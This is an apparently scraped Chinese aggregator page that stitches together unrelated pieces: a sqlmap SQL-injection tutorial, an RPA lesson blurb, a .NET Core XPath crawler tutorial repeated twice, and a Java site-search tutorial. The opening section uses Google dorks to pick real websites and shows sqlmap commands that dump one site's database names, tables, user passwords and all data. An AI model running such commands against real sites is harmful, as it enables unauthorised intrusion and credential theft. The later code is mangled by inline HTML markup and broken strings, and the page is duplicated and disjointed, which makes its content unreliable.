inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4實(shí)際測試案例
1.尋找可供注入點(diǎn)的目標網(wǎng)站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令進(jìn)行g(shù)oogle搜索,如圖1所示,首先對第一個(gè)目標進(jìn)行測試,輸入“Y”進(jìn)行確認,也可以選擇q,不測試該目標,繼續測試后續的目標。
圖1對第一個(gè)url進(jìn)行sql注入測試
sqlmap如果第一個(gè)url獲取的注入不存在漏洞,則會(huì )尋找下一個(gè)url進(jìn)行注入,同時(shí)url計數為2,后續每一個(gè)注入計數加1,可以在參數后面增加--batch自動(dòng)提交判斷。
2.sql注入漏洞測試
如圖2所示,對該注入點(diǎn)進(jìn)行注入漏洞測試,該url一共存在四種類(lèi)型的sql注入,基于布爾盲注、出錯注入、基于時(shí)間盲注和聯(lián)合查詢(xún)注入。
圖2獲取四種類(lèi)型的sql注入
3.基本信息獲取
sqlmap支持多個(gè)參數并列獲取,如圖3所示,獲取當前數據庫、當前數據庫名稱(chēng)、數據庫用戶(hù),mysql用戶(hù)以及密碼等信息,有些字段需要有相對應的權限才能獲取,執行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中獲取數據庫用戶(hù)finvent2@localhost,當前數據庫為finvent_out。
圖3獲取基本信息
4.數據庫獲取
?。?)獲取當前數據庫下所有表
sqlmap -u -D finvent_out --tables
執行后,如圖4所示,獲取當前數據庫finvent_out中的16個(gè)表名。
圖4獲取所有表名
?。?)獲取當前用戶(hù)下的所有數據
sqlmap -u --dump-all//獲取所有數據庫
sqlmap -u -Dfinvent_out //僅僅獲取finvent_out數據庫的數據。
參考文章:
RPA經(jīng)典案例|第57課:點(diǎn)擊網(wǎng)頁(yè)指定內容目標項
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 60 次瀏覽 ? 2022-06-14 11:05
每日10分鐘小視頻,掌握一項小技能。
▼課程主題:本節課講解典型案例:點(diǎn)擊指定文本列表項。
▼所需命令:獲取元素文本、計次循環(huán)、點(diǎn)擊目標、數據抓取、獲取數組長(cháng)度、查找字符串。
▼課程視頻:
▼下期預告:Excel擴展命令。
查看全部
RPA經(jīng)典案例|第57課:點(diǎn)擊網(wǎng)頁(yè)指定內容目標項
每日10分鐘小視頻,掌握一項小技能。
▼課程主題:本節課講解典型案例:點(diǎn)擊指定文本列表項。
▼所需命令:獲取元素文本、計次循環(huán)、點(diǎn)擊目標、數據抓取、獲取數組長(cháng)度、查找字符串。
▼課程視頻:
▼下期預告:Excel擴展命令。
.NET Core實(shí)踐爬蟲(chóng)系統:解析網(wǎng)頁(yè)內容
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 160 次瀏覽 ? 2022-06-06 20:24
///
public long View { get; set; }
///
///明細
///
public string Detail { get; set; }
///
///作者
///
public string Author { get; set; }
///
/// 作者鏈接
///
public string AuthorUrl { get; set; }
}
然后根據網(wǎng)頁(yè)結構,查看XPath路徑,采集內容
///
/// 解析
///
///
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持從web或本地path加載html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
//foot
var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
var viewnode = item.SelectSingleNode("//span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
查看采集結果
看到結果就驚呆了,竟然全是重復的。難道是Xpath語(yǔ)法理解不對么? 采集結果
重溫下XPath語(yǔ)法
XPath 使用路徑表達式在 XML 文檔中選取節點(diǎn)。節點(diǎn)是通過(guò)沿著(zhù)路徑或者 step 來(lái)選取的
XPath 通配符可用來(lái)選取未知的 XML 元素
我測試了幾個(gè)語(yǔ)法如:
//例1,會(huì )返回20個(gè)
var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
//會(huì )報錯,因為這個(gè)a并不直接在bodynode下面,而是在子級h3元素的子級。
var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
然后又實(shí)驗了一種:
//Bingo,這個(gè)可以,但是強烈指定了下級h3,這就稍微麻煩了點(diǎn)。
var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
這里就引申出了一個(gè)小問(wèn)題:如何定位子級的子級?用通配符*可以么?
//返回1個(gè)。
var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
能正確返回1,應該是可以了,我們改下代碼看下效果。
然后和博客園首頁(yè)數據對比,結果吻合。 所以我們可以得出結論:
改過(guò)后代碼如下:
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持從web或本地path加載html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
//foot
var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
源碼
代碼已上傳至 GitHub:
總結
Demo到此結束,下篇繼續構思如何構建自定義規則,讓用戶(hù)可以在頁(yè)面自己填寫(xiě)規則去識別。
看完本文有收獲?請轉發(fā)分享給更多人
關(guān)注「DotNet」,提升.Net技能
查看全部
.NET Core實(shí)踐爬蟲(chóng)系統:解析網(wǎng)頁(yè)內容
///
public long View { get; set; }
///
///明細
///
public string Detail { get; set; }
///
///作者
///
public string Author { get; set; }
///
/// 作者鏈接
///
public string AuthorUrl { get; set; }
}
然后根據網(wǎng)頁(yè)結構,查看XPath路徑,采集內容
///
/// 解析
///
///
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持從web或本地path加載html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
//foot
var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
var viewnode = item.SelectSingleNode("//span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
查看采集結果
看到結果就驚呆了,竟然全是重復的。難道是Xpath語(yǔ)法理解不對么? 采集結果
重溫下XPath語(yǔ)法
XPath 使用路徑表達式在 XML 文檔中選取節點(diǎn)。節點(diǎn)是通過(guò)沿著(zhù)路徑或者 step 來(lái)選取的
XPath 通配符可用來(lái)選取未知的 XML 元素
我測試了幾個(gè)語(yǔ)法如:
//例1,會(huì )返回20個(gè)
var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
//會(huì )報錯,因為這個(gè)a并不直接在bodynode下面,而是在子級h3元素的子級。
var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
然后又實(shí)驗了一種:
//Bingo,這個(gè)可以,但是強烈指定了下級h3,這就稍微麻煩了點(diǎn)。
var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
這里就引申出了一個(gè)小問(wèn)題:如何定位子級的子級?用通配符*可以么?
//返回1個(gè)。
var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
能正確返回1,應該是可以了,我們改下代碼看下效果。
然后和博客園首頁(yè)數據對比,結果吻合。 所以我們可以得出結論:
改過(guò)后代碼如下:
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持從web或本地path加載html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
//foot
var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
源碼
代碼已上傳至 GitHub:
總結
Demo到此結束,下篇繼續構思如何構建自定義規則,讓用戶(hù)可以在頁(yè)面自己填寫(xiě)規則去識別。
看完本文有收獲?請轉發(fā)分享給更多人
關(guān)注「DotNet」,提升.Net技能
編寫(xiě)一個(gè)Java站內搜索引擎系統
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 41 次瀏覽 ? 2022-06-06 17:16
如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,那些屬于全網(wǎng)搜索,我們這里做一個(gè)站內搜索。類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一、搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。建議大家別爬蟲(chóng)要不然被告了。
這里我們可以使用Python,或者下載文檔壓縮包。
為什么要用索引呢?
因為爬的數據太多了,不索引,難道去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到
故根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍
蠻王無(wú)極劍圣劍姬
故根據特點(diǎn)選擇英雄
二、模塊劃分1、索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2、搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
3、web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
包含了前端和后端。
三、怎么實(shí)現分詞
分詞的原理
1、基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2、基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import?org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?TastAnsj?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????for?(Term?term?:?terms)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
四、文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
這個(gè)代碼就是只是針對末尾為html的文件,下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
具體代碼如下很容易理解。
private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
這一模塊總的代碼塊如下:
import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: 